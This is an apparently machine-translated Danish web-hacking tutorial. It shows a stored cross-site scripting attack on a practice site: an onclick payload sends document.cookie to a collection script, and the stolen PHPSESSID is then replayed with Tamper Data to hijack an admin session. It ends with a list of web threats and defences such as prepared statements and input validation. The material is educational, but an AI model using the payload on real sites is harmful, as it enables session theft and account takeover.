Hvordan hacker man en hjemmeside? Teknikker til hacking af sider
โก Smart opsummering
Hjemmesidehacking udnytter svagheder i webapplikationer โ dรฅrligt skrevet kode, ukorrekt input og svag sessionshรฅndtering โ til at opnรฅ uautoriseret adgang. Denne side demonstrerer almindelige angrebsteknikker og, endnu vigtigere, de modforanstaltninger, der holder et websted sikkert.

Flere mennesker har adgang til internettet end nogensinde fรธr. Dette har fรฅet mange organisationer til at udvikle webbaserede applikationer, som brugere kan bruge online til at interagere med organisationen. Dรฅrligt skrevet kode til webapplikationer kan udnyttes til at fรฅ uautoriseret adgang til fรธlsomme data og webservere.
Du vil lรฆre almindelige teknikker til hacking af websteder og de modforanstaltninger, der beskytter mod sรฅdanne angreb.
Hvordan man hacker en hjemmeside
I dette praktiske scenarie for hacking af websteder vil vi kapre brugersessionen af โโwebapplikationen, der er placeret pรฅ www.techpanda.orgVi bruger cross-site scripting til at lรฆse cookie-sessions-id'et og derefter bruge det til at efterligne en legitim brugersession.
Antagelsen er, at angriberen har adgang til webapplikationen og gerne vil kapre sessioner for andre brugere, der bruger den samme applikation. Mรฅlet med dette angreb kan vรฆre at fรฅ administratoradgang til webapplikationen, forudsat at angriberens adgangskonto er begrรฆnset.
Trin 1) ร bn URL http://www.techpanda.org/.
Til รธvelse anbefales det kraftigt at fรฅ adgang ved hjรฆlp af SQL Injection. Se denne artikel om SQL-injektion for mere information om, hvordan du gรธr det.
Trin 2) Indtast loginoplysninger.
Login-e-mailadressen er admin@google.com, og adgangskoden er Password2010.
Trin 3) Tjek instrumentbrรฆttet.
Hvis du er logget ind, fรฅr du vist fรธlgende dashboard.
Trin 4) Indtast nyt indhold.
Klik pรฅ Tilfรธj ny kontaktperson, og indtast fรธlgende som fornavn:
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Trin 5) Tilfรธj JavaManuskript.
Ovenstรฅende kode bruger JavaScript. Det tilfรธjer et hyperlink med en onclick-hรฆndelse. Nรฅr den intetanende bruger klikker pรฅ linket, henter hรฆndelsen PHP cookie-sessions-ID og sender den til snatch_sess_id.php-siden sammen med sessions-id'et i URL.
Trin 6) Tilfรธj detaljer.
Indtast de resterende oplysninger som vist nedenfor, og klik pรฅ Gem รฆndringer.
Trin 7) Tjek instrumentbrรฆttet.
Dit dashboard vil nu se ud som fรธlgende skรฆrm.
Trin 8) Tjek sessions-id.
Da cross-site-scriptet er gemt i databasen, indlรฆses det hver gang brugere med adgangsrettigheder logger ind. Nรฅr administratoren logger ind og klikker pรฅ hyperlinket med teksten Mรธrk, fรฅr de et vindue med sessions-id'et vist i URL.
Bemรฆrk: Scriptet kan sende vรฆrdien til en fjernserver, hvor PHPSESSID'et er gemt, og derefter omdirigere brugeren tilbage, som om intet var sket.
Bemรฆrk: Den vรฆrdi, du fรฅr, kan vรฆre anderledes end den, der vises her, men konceptet er det samme.
Sessionsefterligning ved hjรฆlp af Firefox og Tamper Data-tilfรธjelse
Bemรฆrk: Det klassiske Tamper Data-tilfรธjelsesprogram, der er vist nedenfor, installeres ikke lรฆngere pรฅ nuvรฆrende Firefox, men konceptet, det illustrerer โ at opsnappe og รฆndre en HTTP-anmodning for at afspille en optaget session โ er uรฆndret.
Flowdiagrammet nedenfor viser de trin, du skal tage for at fuldfรธre denne รธvelse.
- Du skal bruge den Firefox webbrowser til dette afsnit og tilfรธjelsesprogrammet Tamper Data.
- ร bne Firefox og installer tilfรธjelsen som vist i diagrammerne nedenfor.
- Sรธg efter manipulationsdata, og klik derefter pรฅ installer som vist ovenfor.
- Klik pรฅ Accepter og installer...
- Klik pรฅ Genstart nu, nรฅr installationen er fรฆrdig.
- Aktiver menulinjen i Firefox hvis den ikke vises.
- Klik pรฅ menuen Vรฆrktรธjer, og vรฆlg derefter Sabotagedata som vist nedenfor.
- Du fรฅr fรธlgende vindue frem. Bemรฆrk: Hvis vinduet ikke er tomt, skal du trykke pรฅ ryd-knappen.
- Klik pรฅ menuen Start sabotage.
- Skift tilbage til Firefox I webbrowseren skal du skrive http://www.techpanda.org/dashboard.php, og derefter trykke pรฅ Enter-tasten for at indlรฆse siden.
- Du vil fรฅ fรธlgende pop op-vindue fra Tamper Data.
- Pop-up-vinduet har tre (3) muligheder. Med manipulationsfunktionen kan du รฆndre HTTP-headeroplysningerne, fรธr de sendes til serveren.
- Klik pรฅ det.
- Du fรฅr fรธlgende vindue.
- Kopier PHP-sessions-ID'et, du kopierede fra angrebet URL og indsรฆt den efter lighedstegnet. Din vรฆrdi burde nu se sรฅdan ud.
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Klik pรฅ OK-knappen.
- Du fรฅr pop op-vinduet for manipulationsdata frem igen.
- Fjern markeringen i afkrydsningsfeltet, der spรธrger Vil du fortsรฆtte med at manipulere?
- Klik pรฅ send-knappen, nรฅr du er fรฆrdig.
- Du burde kunne se dashboardet som vist nedenfor.
Bemรฆrk: Vi loggede ikke ind; vi efterlignede en loginsession ved hjรฆlp af PHPSESSID-vรฆrdien, som vi hentede ved hjรฆlp af cross-site scripting.
Hvad er en webapplikation? Hvad er webtrusler?
En webapplikation (ogsรฅ kendt som hjemmeside) er en applikation baseret pรฅ klient-server-modellen. Serveren leverer databaseadgang og forretningslogikken. Den hostes pรฅ en webserver. Klientapplikationen kรธrer pรฅ klientens webbrowser. Webapplikationer er normalt skrevet i sprog som f.eks. Java, C#, VB.Net, PHPog ColdFusion Markup Language osv. De databasemotorer, der bruges i webapplikationer, omfatter MySQL, MS SQL Server, PostgreSQL, SQLiteOsv
Top hjemmeside hacking teknikker
De fleste webapplikationer hostes pรฅ offentlige servere tilgรฆngelige via internettet. Dette gรธr dem sรฅrbare over for angreb pรฅ grund af den lette tilgรฆngelighed. Fรธlgende er almindelige trusler mod webapplikationer.
- SQL Injection โ Mรฅlet med denne trussel kunne vรฆre at omgรฅ login-algoritmer, sabotere dataene osv.
- Denial of Service Angreb โ Mรฅlet med denne trussel kunne vรฆre at nรฆgte legitime brugere adgang til ressourcen.
- Cross-site scripting (XSS) โ Mรฅlet med denne trussel kunne vรฆre at injicere kode, der kan udfรธres i klientsidebrowseren.
- Cookie/sessionsforgiftning โ Mรฅlet med denne trussel er at รฆndre cookies/sessionsdata af en angriber for at fรฅ uautoriseret adgang.
- Formmanipulation โ Mรฅlet med denne trussel er at รฆndre formulardata sรฅsom priser i e-handelsapplikationer, sรฅ angriberen kan fรฅ varer til reducerede priser.
- Code Injektion โ Mรฅlet med denne trussel er at injicere kode som PHP, Pythonosv., der kan udfรธres pรฅ serveren. Koden kan installere bagdรธre, afslรธre fรธlsomme oplysninger osv.
- defacement โ Mรฅlet med denne trussel er at รฆndre den side, der vises pรฅ et websted, og omdirigere alle sideanmodninger til en enkelt side, der indeholder angriberens besked.
Hvordan beskytter du dit websted mod hacks?
En organisation kan vedtage fรธlgende politik for at beskytte sig selv mod webserverangreb.
- SQL Injection โ rensning og validering af brugerparametre, fรธr de sendes til databasen til behandling, kan hjรฆlpe med at reducere risikoen for angreb via SQL-injektion. Databasemotorer som MS SQL Server, MySQLosv. understรธtter parametre og forberedte sรฆtninger. De er meget sikrere end traditionelle SQL-sรฆtninger.
- Afslag pรฅ serviceangreb โ Firewalls kan bruges til at droppe trafik fra mistรฆnkelige IP-adresser, hvis angrebet er et simpelt DoS-angreb. Korrekt konfiguration af netvรฆrk og et Intrusion Detection System kan ogsรฅ hjรฆlpe med at reducere chancerne for, at et DoS-angreb lykkes.
- Cross-Site Scripting โ validering og rensning af headere og parametre, der sendes via URL, formularparametre og skjulte vรฆrdier kan hjรฆlpe med at reducere XSS-angreb.
- Cookie/sessionsforgiftning โ dette kan forhindres ved at kryptere indholdet af cookies, timeoute cookies efter et stykke tid og knytte cookies til den klient-IP-adresse, der blev brugt til at oprette dem.
- Formmanipulation โ dette kan forhindres ved at validere og verificere brugerinputtet, fรธr det behandles.
- Code Injektion โ dette kan forhindres ved at behandle alle parametre som data i stedet for eksekverbar kode. Sanering og validering kan bruges til at implementere dette.
- defacement - en god webapplikationssikkerhed Politikken bรธr sikre, at den forsegler de almindeligt anvendte sรฅrbarheder for at fรฅ adgang til webserveren. Dette kan vรฆre en korrekt konfiguration af operativsystemet, webserversoftwaren og bedste sikkerhedspraksis ved udviklingping webapplikationer.
Tjek det her: 9 Bedste URL Scannere til at kontrollere, om et link er sikkert mod malware


















